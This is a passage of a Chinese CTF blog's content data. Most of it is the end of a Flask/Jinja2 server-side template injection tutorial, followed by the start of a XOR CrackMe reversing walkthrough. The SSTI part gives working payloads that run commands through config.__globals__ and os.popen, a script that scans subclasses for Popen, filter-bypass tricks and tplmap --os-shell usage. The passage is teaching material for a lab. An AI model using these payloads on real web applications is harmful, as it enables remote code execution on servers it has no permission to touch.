groups=0(root)!\u003C/",[29,7150,6914],{"class":1182},[29,7152,1193],{"class":1189},[15,7154,7155],{},"命令执行成功。读 flag：",[19,7157,7159],{"className":152,"code":7158,"language":154,"meta":24,"style":24},"curl \"http://127.0.0.1:5000/?name={{config.__class__.__init__.__globals__['os'].popen('cat%20/flag').read()}}\"\n",[26,7160,7161],{"__ignoreMap":24},[29,7162,7163,7165,7167,7170],{"class":31,"line":32},[29,7164,5524],{"class":161},[29,7166,5527],{"class":1526},[29,7168,7169],{"class":169},"http://127.0.0.1:5000/?name={{config.__class__.__init__.__globals__['os'].popen('cat%20/flag').read()}}",[29,7171,5533],{"class":1526},[15,7173,385],{},[19,7175,7177],{"className":6902,"code":7176,"language":6904,"meta":24,"style":24},"\u003Ch1>Hello, flag{ssti_rce}!\u003C/h1>\n",[26,7178,7179],{"__ignoreMap":24},[29,7180,7181,7183,7185,7188,7190],{"class":31,"line":32},[29,7182,6911],{"class":1189},[29,7184,6914],{"class":1182},[29,7186,7187],{"class":1189},">Hello, flag{ssti_rce}!\u003C/",[29,7189,6914],{"class":1182},[29,7191,1193],{"class":1189},[15,7193,7194,85,7202,7204],{},[187,7195,7196,7197,7199,7200],{},"为什么先试 ",[26,7198,5499],{}," 再试 ",[26,7201,7084],{},[26,7203,5499],{}," 只读当前用户信息，无副作用，适合验证命令是否真的执行；确认能执行后再读 flag，避免在 payload 有误时盲目尝试。",[1268,7206,7208,7209,7212],{"id":7207},"_43-备选链subclasses-扫描","4.3 备选链：",[187,7210,7211],{},"subclasses"," 扫描",[15,7214,7215,7217,7218,7220,7221,389],{},[187,7216,189],{},"：当 ",[26,7219,7059],{}," 链被过滤或不可用时，用\"从 object 找所有子类\"的通用路径定位 ",[26,7222,7223],{},"subprocess.Popen",[15,7225,7226,7228,7229,85],{},[26,7227,7059],{}," 链不可用时，从字符串对象出发找 ",[26,7230,7223],{},[19,7232,7235],{"className":7233,"code":7234,"language":211,"meta":24},[209],"''.__class__.__mro__[1].__subclasses__()\n",[26,7236,7234],{"__ignoreMap":24},[15,7238,7239],{},"先用 Python 脚本找下标：",[19,7241,7243],{"className":311,"code":7242,"language":313,"meta":24,"style":24},"import requests\n\nurl = \"http://127.0.0.1:5000/\"\nfor i in range(500):\n    # 逐个尝试子类下标 0..499，把类名渲染出来。\n    payload = \"{{''.__class__.__mro__[1].__subclasses__()[\" + str(i) + \"].__name__}}\"\n    # ''：空字符串对象；.__class__：它的类 str；\n    # .__mro__[1]：继承链上的 object 类；\n    # .__subclasses__()：object 的所有子类列表；[i] 取第 i 个；\n    # .__name__：该类的名字，会渲染到页面。\n    r = requests.get(url, params={\"name\": payload})\n    if \"Popen\" in r.text:\n        # 页面出现 Popen 字样，说明找到了 subprocess.Popen 的下标。\n        print(\"Popen index:\", i)\n        break\n",[26,7244,7245,7250,7254,7259,7264,7269,7274,7279,7284,7289,7294,7299,7304,7309,7314],{"__ignoreMap":24},[29,7246,7247],{"class":31,"line":32},[29,7248,7249],{},"import requests\n",[29,7251,7252],{"class":31,"line":38},[29,7253,101],{"emptyLinePlaceholder":100},[29,7255,7256],{"class":31,"line":104},[29,7257,7258],{},"url = \"http://127.0.0.1:5000/\"\n",[29,7260,7261],{"class":31,"line":110},[29,7262,7263],{},"for i in range(500):\n",[29,7265,7266],{"class":31,"line":116},[29,7267,7268],{},"    # 逐个尝试子类下标 0..499，把类名渲染出来。\n",[29,7270,7271],{"class":31,"line":122},[29,7272,7273],{},"    payload = \"{{''.__class__.__mro__[1].__subclasses__()[\" + str(i) + \"].__name__}}\"\n",[29,7275,7276],{"class":31,"line":128},[29,7277,7278],{},"    # ''：空字符串对象；.__class__：它的类 str；\n",[29,7280,7281],{"class":31,"line":134},[29,7282,7283],{},"    # .__mro__[1]：继承链上的 object 类；\n",[29,7285,7286],{"class":31,"line":140},[29,7287,7288],{},"    # .__subclasses__()：object 的所有子类列表；[i] 取第 i 个；\n",[29,7290,7291],{"class":31,"line":146},[29,7292,7293],{},"    # .__name__：该类的名字，会渲染到页面。\n",[29,7295,7296],{"class":31,"line":367},[29,7297,7298],{},"    r = requests.get(url, params={\"name\": payload})\n",[29,7300,7301],{"class":31,"line":373},[29,7302,7303],{},"    if \"Popen\" in r.text:\n",[29,7305,7306],{"class":31,"line":379},[29,7307,7308],{},"        # 页面出现 Popen 字样，说明找到了 subprocess.Popen 的下标。\n",[29,7310,7311],{"class":31,"line":775},[29,7312,7313],{},"        print(\"Popen index:\", i)\n",[29,7315,7316],{"class":31,"line":781},[29,7317,382],{},[15,7319,385,7320,7323],{},[26,7321,7322],{},"Popen index: 258","（数字因 Python 版本而异）。",[15,7325,7326],{},"然后利用：",[19,7328,7331],{"className":7329,"code":7330,"language":211,"meta":24},[209],"{{''.__class__.__mro__[1].__subclasses__()[258]('id',shell=True,stdout=-1).communicate()[0]}}\n# Popen('id', shell=True, stdout=-1)：\n#   shell=True 表示通过 /bin/sh 执行字符串命令；\n#   stdout=-1 表示把标准输出接到管道；\n#   .communicate()[0]：等待进程结束并取标准输出。\n",[26,7332,7330],{"__ignoreMap":24},[10,7334,7336],{"id":7335},"五核心步骤-3过滤绕过","五、核心步骤 3：过滤绕过",[15,7338,7339,7341,7342,933,7345,7348],{},[187,7340,189],{},"：题目过滤 ",[26,7343,7344],{},".",[26,7346,7347],{},"[]","、关键词时，用等价写法表达同样的调用。",[15,7350,7351,7353,7354,7357],{},[187,7352,255],{},"：点号访问可以用 Jinja2 的 ",[26,7355,7356],{},"attr"," 过滤器替代；字符串可以被拆到 URL 参数里，让模板中不出现被过滤的关键词。验证方式：逐步替换被过滤的部分，直到 payload 能被完整执行。",[15,7359,7360,7361,933,7363,933,7366,7369],{},"题目常过滤 ",[26,7362,7344],{},[26,7364,7365],{},"[",[26,7367,7368],{},"]"," 或关键词。",[1268,7371,7373],{"id":7372},"_51-用-attr-过滤器替代点号","5.1 用 attr 过滤器替代点号",[19,7375,7378],{"className":7376,"code":7377,"language":211,"meta":24},[209],"{{config|attr('__class__')|attr('__init__')|attr('__globals__')}}\n",[26,7379,7377],{"__ignoreMap":24},[1268,7381,7383],{"id":7382},"_52-把敏感字符串放进-url-参数","5.2 把敏感字符串放进 URL 参数",[19,7385,7388],{"className":7386,"code":7387,"language":211,"meta":24},[209],"/?name={{config.__class__.__init__.__globals__[request.args.g].popen(request.args.c).read()}}&g=os&c=cat /flag\n",[26,7389,7387],{"__ignoreMap":24},[15,7391,7392,7393,933,7395,7398],{},"模板里不再出现 ",[26,7394,7073],{},[26,7396,7397],{},"cat"," 等关键词，可绕过字符串匹配类过滤器。",[10,7400,2133],{"id":2132},[1268,7402,7404],{"id":7403},"工具-1curl","工具 1：curl",[19,7406,7408],{"className":152,"code":7407,"language":154,"meta":24,"style":24},"curl \"http://target/?name={{7*7}}\"          # 探测\ncurl -G \"http://target/\" --data-urlencode \"name={{...}}\"   # 自动 URL 编码\n",[26,7409,7410,7424],{"__ignoreMap":24},[29,7411,7412,7414,7416,7419,7421],{"class":31,"line":32},[29,7413,5524],{"class":161},[29,7415,5527],{"class":1526},[29,7417,7418],{"class":169},"http://target/?name={{7*7}}",[29,7420,6167],{"class":1526},[29,7422,7423],{"class":823},"          # 探测\n",[29,7425,7426,7428,7431,7433,7436,7438,7441,7443,7446,7448],{"class":31,"line":38},[29,7427,5524],{"class":161},[29,7429,7430],{"class":165}," -G",[29,7432,5527],{"class":1526},[29,7434,7435],{"class":169},"http://target/",[29,7437,6167],{"class":1526},[29,7439,7440],{"class":165}," --data-urlencode",[29,7442,5527],{"class":1526},[29,7444,7445],{"class":169},"name={{...}}",[29,7447,6167],{"class":1526},[29,7449,7450],{"class":823},"   # 自动 URL 编码\n",[1268,7452,7454],{"id":7453},"工具-2requests","工具 2：requests",[19,7456,7458],{"className":311,"code":7457,"language":313,"meta":24,"style":24},"import requests\n\nurl = \"http://target/\"\npayload = \"{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}\"\nr = requests.get(url, params={\"name\": payload})\n# requests.get 的 params 参数：把字典转成查询字符串并自动 URL 编码。\n# 例如 payload 里的空格、引号会被编码，避免手工转义出错。\nprint(r.text)\n",[26,7459,7460,7464,7468,7473,7478,7483,7488,7493],{"__ignoreMap":24},[29,7461,7462],{"class":31,"line":32},[29,7463,7249],{},[29,7465,7466],{"class":31,"line":38},[29,7467,101],{"emptyLinePlaceholder":100},[29,7469,7470],{"class":31,"line":104},[29,7471,7472],{},"url = \"http://target/\"\n",[29,7474,7475],{"class":31,"line":110},[29,7476,7477],{},"payload = \"{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}\"\n",[29,7479,7480],{"class":31,"line":116},[29,7481,7482],{},"r = requests.get(url, params={\"name\": payload})\n",[29,7484,7485],{"class":31,"line":122},[29,7486,7487],{},"# requests.get 的 params 参数：把字典转成查询字符串并自动 URL 编码。\n",[29,7489,7490],{"class":31,"line":128},[29,7491,7492],{},"# 例如 payload 里的空格、引号会被编码，避免手工转义出错。\n",[29,7494,7495],{"class":31,"line":134},[29,7496,7497],{},"print(r.text)\n",[15,7499,7500,7503],{},[26,7501,7502],{},"params"," 自动完成 URL 编码，比手工拼接省事。",[1268,7505,7507],{"id":7506},"工具-3tplmap","工具 3：tplmap",[15,7509,7510],{},"模板注入自动化工具：",[19,7512,7514],{"className":152,"code":7513,"language":154,"meta":24,"style":24},"git clone https://github.com/epinna/tplmap\ncd tplmap && pip install -r requirements.txt\npython tplmap.py -u \"http://target/?name=*\"          # * 是注入点标记\npython tplmap.py -u \"http://target/?name=*\" --os-shell\n",[26,7515,7516,7525,7544,7563],{"__ignoreMap":24},[29,7517,7518,7520,7522],{"class":31,"line":32},[29,7519,5351],{"class":161},[29,7521,5354],{"class":169},[29,7523,7524],{"class":169}," https://github.com/epinna/tplmap\n",[29,7526,7527,7529,7532,7534,7536,7538,7541],{"class":31,"line":38},[29,7528,1871],{"class":1870},[29,7530,7531],{"class":169}," tplmap",[29,7533,1881],{"class":1189},[29,7535,3755],{"class":161},[29,7537,1230],{"class":169},[29,7539,7540],{"class":165}," -r",[29,7542,7543],{"class":169}," requirements.txt\n",[29,7545,7546,7548,7551,7553,7555,7558,7560],{"class":31,"line":104},[29,7547,313],{"class":161},[29,7549,7550],{"class":169}," tplmap.py",[29,7552,6160],{"class":165},[29,7554,5527],{"class":1526},[29,7556,7557],{"class":169},"http://target/?name=*",[29,7559,6167],{"class":1526},[29,7561,7562],{"class":823},"          # * 是注入点标记\n",[29,7564,7565,7567,7569,7571,7573,7575,7577],{"class":31,"line":110},[29,7566,313],{"class":161},[29,7568,7550],{"class":169},[29,7570,6160],{"class":165},[29,7572,5527],{"class":1526},[29,7574,7557],{"class":169},[29,7576,6167],{"class":1526},[29,7578,7579],{"class":165}," --os-shell\n",[10,7581,7583],{"id":7582},"七小-ctf-实战flask-模板题","七、小 CTF 实战：Flask 模板题",[15,7585,2229,7586,7589,7590,389],{},[26,7587,7588],{},"http://target/?name="," 存在 SSTI，flag 在 ",[26,7591,7592],{},"/flag",[1268,7594,7596],{"id":7595},"第一步探测","第一步：探测",[15,7598,7599,7601],{},[187,7600,189],{},"：用最便宜的请求确认漏洞类型，再决定用哪条链。",[19,7603,7605],{"className":152,"code":7604,"language":154,"meta":24,"style":24},"curl \"http://target/?name={{7*7}}\"\n",[26,7606,7607],{"__ignoreMap":24},[29,7608,7609,7611,7613,7615],{"class":31,"line":32},[29,7610,5524],{"class":161},[29,7612,5527],{"class":1526},[29,7614,7418],{"class":169},[29,7616,5533],{"class":1526},[15,7618,7619,7620,7622],{},"响应含 ",[26,7621,6970],{}," → 确认。",[1268,7624,7626],{"id":7625},"第二步直接打","第二步：直接打",[15,7628,7629,7631,7632,7635,7636,7638,7639,7641],{},[187,7630,255],{},"：先 ",[26,7633,7634],{},"config.__globals__"," 链试 ",[26,7637,7084],{},"；如果响应没出现 flag 内容，先改用 ",[26,7640,5499],{}," 确认命令是否执行，再排查是不是命令被截断（如空格需要编码）。",[19,7643,7645],{"className":311,"code":7644,"language":313,"meta":24,"style":24},"import requests\n\nurl = \"http://target/\"\npayload = \"{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}\"\nr = requests.get(url, params={\"name\": payload})\nprint(r.text)\n",[26,7646,7647,7651,7655,7659,7663,7667],{"__ignoreMap":24},[29,7648,7649],{"class":31,"line":32},[29,7650,7249],{},[29,7652,7653],{"class":31,"line":38},[29,7654,101],{"emptyLinePlaceholder":100},[29,7656,7657],{"class":31,"line":104},[29,7658,7472],{},[29,7660,7661],{"class":31,"line":110},[29,7662,7477],{},[29,7664,7665],{"class":31,"line":116},[29,7666,7482],{},[29,7668,7669],{"class":31,"line":122},[29,7670,7497],{},[15,7672,7673],{},"预期输出中出现：",[19,7675,7678],{"className":7676,"code":7677,"language":211,"meta":24},[209],"flag{ssti_rce}\n",[26,7679,7677],{"__ignoreMap":24},[1268,7681,7683],{"id":7682},"第三步被过滤时","第三步：被过滤时",[15,7685,7686,7688,7689,7691],{},[187,7687,255],{},"：把点号换成 ",[26,7690,7356],{},"、把关键词拆到 URL 参数，一条条替换直到成功。",[15,7693,7694],{},"改用 attr 与 request.args 组合：",[19,7696,7699],{"className":7697,"code":7698,"language":211,"meta":24},[209],"/?name={{config|attr('__class__')|attr('__init__')|attr('__globals__')|attr('__getitem__')(request.args.g)|attr('popen')(request.args.c)|attr('read')()}}&g=os&c=cat /flag\n",[26,7700,7698],{"__ignoreMap":24},[10,7702,2426],{"id":2425},[15,7704,7705,7706,3348,7708,7711,7712,65,7714,7717],{},"SSTI 主线：探测 ",[26,7707,6876],{},[26,7709,7710],{},"config.__class__.__init__.__globals__['os']"," 执行命令 → 被过滤就换 ",[26,7713,7356],{},[26,7715,7716],{},"request.args","。理解了对象链，各种过滤只是换写法的问题。",[1114,7719,7720],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}",{"title":24,"searchDepth":38,"depth":38,"links":7722},[7723,7724,7725,7726,7727,7728,7729,7730],{"id":6689,"depth":104,"text":6690},{"id":6768,"depth":104,"text":6769},{"id":6858,"depth":104,"text":6859},{"id":7045,"depth":104,"text":7046},{"id":7335,"depth":104,"text":7336},{"id":2132,"depth":104,"text":2133},{"id":7582,"depth":104,"text":7583},{"id":2425,"depth":104,"text":2426},"服务端模板注入：搭建 Flask 漏洞环境、探测、命令执行链、过滤器绕过与 tplmap 自动化。",{"date":1132,"image":7733,"alt":7734,"tags":7735,"published":100},"/blogs-img/blog6.png","SSTI 深入实战",[1136,6676,7736,1138],"ssti","/blogs/ctf-web-ssti-deep-dive",{"title":6684,"description":7731},"blogs/15. ctf-web-ssti-deep-dive","H68LG4VV4pU8n-1nfoEL6bndV0uPlrJH4gGMRV2-3rs",{"id":7742,"title":7743,"body":7744,"description":8684,"extension":1130,"meta":8685,"navigation":100,"ogImage":8686,"path":8689,"seo":8690,"stem":8691,"__hash__":8692},"content/blogs/16. ctf-reverse-crackme-deep-dive.md","逆向一个 XOR CrackMe：从侦查到脚本还原",{"type":7,"value":7745,"toc":8673},[7746,7750,7753,7757,7763,7947,7950,7967,7970,7979,7984,7996,8000,8002,8007,8020,8024,8035,8038,8044,8049,8053,8064,8078,8080,8086,8095,8099,8104,8119,8121,8152,8154,8183,8190,8194,8226,8229,8254,8258,8261,8311,8316,8318,8326,8329,8335,8337,8349,8363,8365,8370,8379,8381,8386,8389,8404,8406,8412,8415,8419,8424,8441,8501,8503,8515,8517,8522,8525,8535,8539,8543,8626,8630,8661,8663,8670],[10,7747,7749],{"id":7748},"一现实背景注册码校验","一、现实背景：注册码校验",[15,7751,7752],{},"商业软件用\"输入正确序列号才放行\"的校验函数保护授权，逆向需要从二进制还原该校验逻辑。CrackMe 是这类校验的简化版，也是逆向入门最好的练习材料。",[10,7754,7756],{"id":7755},"二题目源码与编译","二、题目源码与编译",[15,7758,7759,7760,85],{},"出题人视角的 ",[26,7761,7762],{},"crackme.c",[19,7764,7766],{"className":21,"code":7765,"language":23,"meta":24,"style":24},"#include \u003Cstdio.h>\n#include \u003Cstring.h>\n\nint check(const char *input) {\n    char key[] = \"k3y\";\n    // key：异或密钥，编译后仍以字符串形式存在二进制里，strings 可见。\n    unsigned char enc[] = {\n        0x08,0x47,0x1f,0x10,0x41,0x1c,0x1d,0x56,\n        0x0b,0x18,0x56,0x26,0x0e,0x5d,0x1e,0x02,\n        0x5d,0x1c,0x0e,0x41,0x10,0x05,0x54,0x04\n    };\n    // enc：把正确 flag 逐字节异或后的密文，硬编码在程序里。\n    int n = strlen(input);\n    // strlen：求输入长度（不含结尾 \\0）。\n    if (n != 24) return 0;\n    // 长度必须是 24，先卡掉大部分错误输入。\n    for (int i = 0; i \u003C n; i++)\n        if ((input[i] ^ key[i % 3]) != enc[i]) return 0;\n        // 逐字节校验：输入第 i 位与 key 循环异或后必须等于密文第 i 位。\n        // key[i % 3]：i%3 在 0,1,2 之间循环，即 key 循环使用。\n    return 1;\n    // 全部通过才返回 1，main 据此打印 Correct!。\n}\n\nint main(int argc, char **argv) {\n    if (argc != 2) {\n        // argc：命令行参数个数；不带参数时 argc=1，这里要求恰好 2 个。\n        puts(\"Usage: ./crackme \u003Cflag>\");\n        return 1;\n    }\n    if (check(argv[1]))\n        // argv[1]：命令行第二个参数，即用户输入的 flag。\n        puts(\"Correct!\");\n    else\n        puts(\"Wrong!\");\n    return 0;\n}\n",[26,7767,7768,7772,7777,7781,7786,7791,7796,7801,7806,7811,7816,7821,7826,7831,7836,7841,7846,7851,7856,7861,7866,7871,7876,7880,7884,7889,7894,7899,7904,7909,7914,7919,7924,7929,7934,7939,7943],{"__ignoreMap":24},[29,7769,7770],{"class":31,"line":32},[29,7771,95],{},[29,7773,7774],{"class":31,"line":38},[29,7775,7776],{},"#include \u003Cstring.h>\n",[29,7778,7779],{"class":31,"line":104},[29,7780,101],{"emptyLinePlaceholder":100},[29,7782,7783],{"class":31,"line":110},[29,7784,7785],{},"int check(const char *input) {\n",[29,7787,7788],{"class":31,"line":116},[29,7789,7790],{},"    char key[] = \"k3y\";\n",[29,7792,7793],{"class":31,"line":122},[29,7794,7795],{},"    // key：异或密钥，编译后仍以字符串形式存在二进制里，strings 可见。\n",[29,7797,7798],{"class":31,"line":128},[29,7799,7800],{},"    unsigned char enc[] = {\n",[29,7802,7803],{"class":31,"line":134},[29,7804,7805],{},"        0x08,0x47,0x1f,0x10,0x41,0x1c,0x1d,0x56,\n",[29,7807,7808],{"class":31,"line":140},[29,7809,7810],{},"        0x0b,0x18,0x56,0x26,0x0e,0x5d,0x1e,0x02,\n",[29,7812,7813],{"class":31,"line":146},[29,7814,7815],{},"        0x5d,0x1c,0x0e,0x41,0x10,0x05,0x54,0x04\n",[29,7817,7818],{"class":31,"line":367},[29,7819,7820],{},"    };\n",[29,7822,7823],{"class":31,"line":373},[29,7824,7825],{},"    // enc：把正确 flag 逐字节异或后的密文，硬编码在程序里。\n",[29,7827,7828],{"class":31,"line":379},[29,7829,7830],{},"    int n = strlen(input);\n",[29,7832,7833],{"class":31,"line":775},[29,7834,7835],{},"    // strlen：求输入长度（不含结尾 \\0）。\n",[29,7837,7838],{"class":31,"line":781},[29,7839,7840],{},"    if (n != 24) return 0;\n",[29,7842,7843],{"class":31,"line":786},[29,7844,7845],{},"    // 长度必须是 24，先卡掉大部分错误输入。\n",[29,7847,7848],{"class":31,"line":2600},[29,7849,7850],{},"    for (int i = 0; i \u003C n; i++)\n",[29,7852,7853],{"class":31,"line":2606},[29,7854,7855],{},"        if ((input[i] ^ key[i % 3]) != enc[i]) return 0;\n",[29,7857,7858],{"class":31,"line":2611},[29,7859,7860],{},"        // 逐字节校验：输入第 i 位与 key 循环异或后必须等于密文第 i 位。\n",[29,7862,7863],{"class":31,"line":4025},[29,7864,7865],{},"        // key[i % 3]：i%3 在 0,1,2 之间循环，即 key 循环使用。\n",[29,7867,7868],{"class":31,"line":4031},[29,7869,7870],{},"    return 1;\n",[29,7872,7873],{"class":31,"line":4037},[29,7874,7875],{},"    // 全部通过才返回 1，main 据此打印 Correct!。\n",[29,7877,7878],{"class":31,"line":4043},[29,7879,149],{},[29,7881,7882],{"class":31,"line":4049},[29,7883,101],{"emptyLinePlaceholder":100},[29,7885,7886],{"class":31,"line":4813},[29,7887,7888],{},"int main(int argc, char **argv) {\n",[29,7890,7891],{"class":31,"line":4818},[29,7892,7893],{},"    if (argc != 2) {\n",[29,7895,7896],{"class":31,"line":4824},[29,7897,7898],{},"        // argc：命令行参数个数；不带参数时 argc=1，这里要求恰好 2 个。\n",[29,7900,7901],{"class":31,"line":4830},[29,7902,7903],{},"        puts(\"Usage: ./crackme \u003Cflag>\");\n",[29,7905,7906],{"class":31,"line":4835},[29,7907,7908],{},"        return 1;\n",[29,7910,7911],{"class":31,"line":4841},[29,7912,7913],{},"    }\n",[29,7915,7916],{"class":31,"line":4847},[29,7917,7918],{},"    if (check(argv[1]))\n",[29,7920,7921],{"class":31,"line":4853},[29,7922,7923],{},"        // argv[1]：命令行第二个参数，即用户输入的 flag。\n",[29,7925,7926],{"class":31,"line":4859},[29,7927,7928],{},"        puts(\"Correct!\");\n",[29,7930,7931],{"class":31,"line":4864},[29,7932,7933],{},"    else\n",[29,7935,7936],{"class":31,"line":4870},[29,7937,7938],{},"        puts(\"Wrong!\");\n",[29,7940,7941],{"class":31,"line":4876},[29,7942,143],{},[29,7944,7945],{"class":31,"line":4882},[29,7946,149],{},[15,7948,7949],{},"编译（解题时只有二进制，没有源码）：",[19,7951,7953],{"className":152,"code":7952,"language":154,"meta":24,"style":24},"gcc -o crackme crackme.c\n",[26,7954,7955],{"__ignoreMap":24},[29,7956,7957,7959,7961,7964],{"class":31,"line":32},[29,7958,162],{"class":161},[29,7960,166],{"class":165},[29,7962,7963],{"class":169}," crackme",[29,7965,7966],{"class":169}," crackme.c\n",[15,7968,7969],{},"运行确认行为：",[19,7971,7973],{"className":152,"code":7972,"language":154,"meta":24,"style":24},"./crackme\n",[26,7974,7975],{"__ignoreMap":24},[29,7976,7977],{"class":31,"line":32},[29,7978,7972],{"class":161},[15,7980,1413,7981,389],{},[26,7982,7983],{},"Usage: ./crackme \u003Cflag>",[19,7985,7987],{"className":152,"code":7986,"language":154,"meta":24,"style":24},"./crackme wrongflag123456789012\n",[26,7988,7989],{"__ignoreMap":24},[29,7990,7991,7993],{"class":31,"line":32},[29,7992,2415],{"class":161},[29,7994,7995],{"class":169}," wrongflag123456789012\n",[15,7997,1413,7998,389],{},[26,7999,1385],{},[10,8001,1256],{"id":1255},[15,8003,8004,8006],{},[187,8005,189],{},"：先确认程序类型、收集可见字符串，缩小分析范围。",[15,8008,8009,85,8011,8013,8014,8016,8017,8019],{},[187,8010,255],{},[26,8012,1326],{}," 能看到 ",[26,8015,1389],{}," 这样的短密钥（需要 ",[26,8018,1393],{},"），但看不到二进制密文数组。若直接看到 flag 明文就是送分题；看不到就继续反汇编。",[1268,8021,8023],{"id":8022},"_31-file","3.1 file",[19,8025,8027],{"className":152,"code":8026,"language":154,"meta":24,"style":24},"file crackme\n",[26,8028,8029],{"__ignoreMap":24},[29,8030,8031,8033],{"class":31,"line":32},[29,8032,1283],{"class":161},[29,8034,2271],{"class":169},[15,8036,8037],{},"预期输出（Linux ELF）：",[19,8039,8042],{"className":8040,"code":8041,"language":211,"meta":24},[209],"crackme: ELF 64-bit LSB pie executable, x86-64, dynamically linked, ... not stripped\n",[26,8043,8041],{"__ignoreMap":24},[15,8045,8046,8048],{},[26,8047,1300],{},"：函数名可见。",[1268,8050,8052],{"id":8051},"_32-strings","3.2 strings",[15,8054,8055,8056,8058,8059,8061,8062,85],{},"注意：",[26,8057,1326],{}," 默认只显示长度 ≥ 4 的字符串，密钥 ",[26,8060,1389],{}," 只有 3 个字符，必须加 ",[26,8063,1393],{},[19,8065,8066],{"className":152,"code":2258,"language":154,"meta":24,"style":24},[26,8067,8068],{"__ignoreMap":24},[29,8069,8070,8072,8074,8076],{"class":31,"line":32},[29,8071,1326],{"class":161},[29,8073,1358],{"class":165},[29,8075,1361],{"class":165},[29,8077,2271],{"class":169},[15,8079,385],{},[19,8081,8084],{"className":8082,"code":8083,"language":211,"meta":24},[209],"Usage: ./crackme \u003Cflag>\nCorrect!\nWrong!\nk3y\n",[26,8085,8083],{"__ignoreMap":24},[15,8087,8088,8090,8091,8094],{},[26,8089,1389],{}," 极可能是密钥。",[26,8092,8093],{},"enc"," 数组是二进制数据，strings 显示不出来。",[10,8096,8098],{"id":8097},"四核心步骤-2定位校验函数","四、核心步骤 2：定位校验函数",[15,8100,8101,8103],{},[187,8102,189],{},"：找到\"比较\"发生的代码，确认密钥如何参与运算。",[15,8105,8106,8108,8109,8111,8112,8115,8116,8118],{},[187,8107,255],{},"：main 里 ",[26,8110,1627],{}," 后紧跟 ",[26,8113,8114],{},"test eax, eax; je","，说明返回值决定对错。于是把目光集中到 check；Ghidra 伪代码把汇编还原成 ",[26,8117,2294],{},"，逆向思路立刻清晰。",[1268,8120,1467],{"id":1466},[19,8122,8124],{"className":152,"code":8123,"language":154,"meta":24,"style":24},"objdump -d -M intel crackme | grep -A 40 '\u003Cmain>'\n",[26,8125,8126],{"__ignoreMap":24},[29,8127,8128,8130,8132,8134,8136,8138,8140,8142,8144,8146,8148,8150],{"class":31,"line":32},[29,8129,1479],{"class":161},[29,8131,1482],{"class":165},[29,8133,1485],{"class":165},[29,8135,1488],{"class":169},[29,8137,7963],{"class":169},[29,8139,1514],{"class":1182},[29,8141,1517],{"class":161},[29,8143,1520],{"class":165},[29,8145,1523],{"class":165},[29,8147,1527],{"class":1526},[29,8149,1530],{"class":169},[29,8151,1533],{"class":1526},[15,8153,1536],{},[19,8155,8157],{"className":1539,"code":8156,"language":1541,"meta":24,"style":24},"0000000000001189 \u003Cmain>:\n    1191:  cmp    edi, 0x2\n    1194:  jne    0x11a0\n    119e:  call   0x1149 \u003Ccheck>\n    11a3:  test   eax, eax\n    11a5:  je     0x11b5\n",[26,8158,8159,8163,8167,8171,8175,8179],{"__ignoreMap":24},[29,8160,8161],{"class":31,"line":32},[29,8162,1548],{},[29,8164,8165],{"class":31,"line":38},[29,8166,1563],{},[29,8168,8169],{"class":31,"line":104},[29,8170,1568],{},[29,8172,8173],{"class":31,"line":110},[29,8174,1573],{},[29,8176,8177],{"class":31,"line":116},[29,8178,1578],{},[29,8180,8181],{"class":31,"line":122},[29,8182,1583],{},[15,8184,8185,8187,8188,389],{},[26,8186,1627],{}," 说明判断逻辑在 ",[26,8189,1656],{},[1268,8191,8193],{"id":8192},"_42-objdump-看-check","4.2 objdump 看 check",[19,8195,8197],{"className":152,"code":8196,"language":154,"meta":24,"style":24},"objdump -d -M intel crackme | grep -A 60 '\u003Ccheck>'\n",[26,8198,8199],{"__ignoreMap":24},[29,8200,8201,8203,8205,8207,8209,8211,8213,8215,8217,8220,8222,8224],{"class":31,"line":32},[29,8202,1479],{"class":161},[29,8204,1482],{"class":165},[29,8206,1485],{"class":165},[29,8208,1488],{"class":169},[29,8210,7963],{"class":169},[29,8212,1514],{"class":1182},[29,8214,1517],{"class":161},[29,8216,1520],{"class":165},[29,8218,8219],{"class":165}," 60",[29,8221,1527],{"class":1526},[29,8223,1712],{"class":169},[29,8225,1533],{"class":1526},[15,8227,8228],{},"预期会看到循环比较：",[19,8230,8232],{"className":1539,"code":8231,"language":1541,"meta":24,"style":24},"movzx  eax, BYTE PTR [rax]        ; input[i]\nxor    eax, 0x...                 ; 与 key 异或\ncmp    al, BYTE PTR [rbp-...]     ; 与 enc[i] 比较\nje     0x...\n",[26,8233,8234,8239,8244,8249],{"__ignoreMap":24},[29,8235,8236],{"class":31,"line":32},[29,8237,8238],{},"movzx  eax, BYTE PTR [rax]        ; input[i]\n",[29,8240,8241],{"class":31,"line":38},[29,8242,8243],{},"xor    eax, 0x...                 ; 与 key 异或\n",[29,8245,8246],{"class":31,"line":104},[29,8247,8248],{},"cmp    al, BYTE PTR [rbp-...]     ; 与 enc[i] 比较\n",[29,8250,8251],{"class":31,"line":110},[29,8252,8253],{},"je     0x...\n",[1268,8255,8257],{"id":8256},"_43-ghidra-反编译","4.3 Ghidra 反编译",[15,8259,8260],{},"安装并打开：",[19,8262,8264],{"className":152,"code":8263,"language":154,"meta":24,"style":24},"apt install openjdk-21-jdk unzip\nwget https://github.com/NationalSecurityAgency/ghidra/releases/latest/download/ghidra_*.zip\nunzip ghidra_*.zip && cd ghidra_*_PUBLIC && 